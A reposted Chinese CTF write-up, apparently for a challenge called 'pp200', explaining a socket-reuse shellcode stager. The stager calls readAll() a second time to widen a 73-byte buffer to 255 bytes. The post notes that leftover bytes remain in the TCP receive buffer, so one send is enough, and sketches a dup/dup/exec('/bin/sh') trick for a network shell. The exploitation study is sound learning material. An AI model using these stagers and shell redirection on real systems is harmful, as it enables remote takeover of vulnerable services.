作品发布     邀请码    设为首页  收藏 

当前位置:文章黑客攻防 → 文章内容 >> pp200解决 - socket复用时 关于TCP堆栈缓存


pp200解决 - socket复用时 关于TCP堆栈缓存

更新时间:2011-6-12 4:31:33   作者:佚名  来源:不详

from:syc

用 socket复用 搞定了 pp200

但我这种方法略显臃肿~

虽然国外的老外们其实也基本上用的这个方法

不过还有更好的方法 后面会介绍

这个是我和老外们用的方法


00000000  89EE                    mov esi,ebp                   ;get new buffer address

00000002  68FF000000        push dword 0xff             ;len

00000007  56                         push esi                          ;buffer address

00000008  FF7508                push dword [ebp+0x8]  ;socket fd

0000000B  BB04110508       mov ebx,0x8051104       ;ebx = readAll() address

00000010  FFD3                    call ebx                           ;call readAll() -> recv()

00000012  FFD6                   call esi                             ;call buffer shellcode

ebp + 0x8 是之前这个程序已经 bind() 好的 socket fd

所以直接抓来重复用就是了

程序本身调用了一次 readAll(fd, buffer, 73)

把缓冲区卡得很窄 bind() shellcode 过不去

我就先用了一个轻量级 shellcode 打过去

再调用一次 readAll(fd, buffer, 255)

这样就把突破点撕开了一个更大的口子

让它能接收 255byte

最开始我是用python脚本写了两次 send()

第一次 send() 我的 socket copy() shellcode

第二次 send() 我的 bind() shellcode

但是发现 send() 过去后 貌似 bind() shellcode 还是没被调用

就用 gdb 调试看了下 发现第二次调用 readAll(fd, buffer, 255)  后

然后直接就运行了 第一次 socket copy() shellcode 超过 73byte 的部分 0x42 0x42 0x42 0x0A = =~

大概就明白了 其实 shellcode 是一次完全打过去了的

只是 recv() 只接收了 73byte

而超过 73byte 的部分 暂时放在了 TCP堆栈缓存 里

也去请教了下 xi4oyu 得到了印证

当我再去第二次调用 readAll(fd, buffer, 255) 时

其实 recv() 函数直接就从 TCP堆栈缓存 里抓数据了

并不是我用python send() 第二次的数据了

所以其实只需要用python send() 一次数据就ok了

要 send() 的格式如下

socket copy() shellcode + nops | (超过73byte) + nops + bind() shellcode

效果如下


----------------------------------------------------------------------------------------------------------

还有个更简便更轻量级的方式是 xi4oyu 教的 dup dup exec

伪代码大概就像这样

dup(fd, 0)

dup(fd, 1)

exec("/bin/sh")

意思是把 标准输入 和 标准输出 都重定向到 socket fd 上

这样当再启动 shell 时

实际上就从一个 本地标准输入输出bash shell 变成了一个 与网络交互的反弹bash shell 了.......

还在测试 dup() 的系统调用号

等弄好了再传图 =.=~

责任编辑:华中帝国        



本文引用网址: 

pp200解决 - socket复用时 关于TCP堆栈缓存的相关文章
发表评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 0分

内 容:

         (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码